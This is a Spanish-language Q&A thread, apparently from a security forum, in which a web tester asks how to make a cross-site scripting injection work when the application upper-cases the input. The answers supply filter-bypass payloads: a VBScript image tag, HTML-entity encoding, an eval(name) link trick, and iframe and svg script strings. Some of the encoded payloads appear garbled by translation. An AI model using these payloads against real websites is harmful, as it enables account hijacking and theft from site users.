¿Cómo puedo ejecutar un XSS cuando una aplicación web transforma datos en minúsculas a mayúsculas?

Question

¿Cómo puedo ejecutar un XSS cuando una aplicación web transforma datos en minúsculas a mayúsculas?

#1 de Erlend (7 votos)
#2 de Rоry McCune (3 votos)
#3 de Markus Johansson (0 votos)

11

Estoy probando una aplicación web, cuando envío datos de entrada a la aplicación web, esto coloca los datos en una función onclick , algo como esto:

<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>

Pero, la aplicación web transforma esos datos de minúsculas a mayúsculas, luego, si reemplazo dataFromServer por ','0');alert('XSS');someFunction(' , tengo el siguiente resultado:

<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>

Por lo tanto, mi vulnerabilidad XSS no funciona, porque el navegador dice "ALERT no está definido", lo he probado en Firefox e IE.

¿Hay alguna manera de ejecutar un XSS en este caso?

web-application xss

pregunta hmrojas.p 17.03.2016 - 20:51

fuente

3 respuestas

3

Hay una forma (de la vieja escuela) en la que puedes hacer esto que puede o no ser relevante para tu caso, dependiendo de la base de usuarios de la aplicación.

VBScript funciona bien en Internet Explorer 10 y versiones anteriores y no distingue entre mayúsculas y minúsculas, así que algo como

<IMG SRC='vbscript:msgbox("XSS")'>

podría funcionar bien.

respondido por el Rоry McCune 17.03.2016 - 21:09

fuente

0

En su ejemplo, ya está en un contexto de atributo HTML, por lo que debería poder codificar HTML su carga útil. El navegador lo decodificará por usted antes de pasarlo al motor de Javascript.

onclick="alert(1)" ejecutará la alerta (1) cuando se haga clic.

Si hay una limitación de longitud de 100 caracteres, puede usar el siguiente pyaload:

eval(name) que se traduce en eval(name)

Puede establecer el nombre o window.name, por ejemplo, a través del atributo de destino de una etiqueta-a:

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

Otros tres ejemplos:

<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
<svg><script>alert(1)</script></svg>
">']]>-alert(1)</SCRIPT></SVG><SVG><SCRIPT>'<![CDATA[

El último funciona cuando la página contiene una doble reflexión + y omitirá los filtros XSS del navegador.

Nota: alert(1) = alerta (1) cuando se decodifica la entidad HTML / XML

respondido por el Markus Johansson 04.12.2018 - 09:30

fuente

Lea otras preguntas en las etiquetas web-application xss

Riesgos del uso de Google Native Client ¿Es posible exportar un componente público de una subclave GPG?

score 7 · Accepted Answer

Puede codificar las letras usando el símbolo y los números (codificación html). a = A o e y así sucesivamente.

El código JavaScript puede codificarse sin utilizar caracteres alfanuméricos. La forma más fácil de hacer esto es revisar: enlace Este sitio puede codificarlo por ti.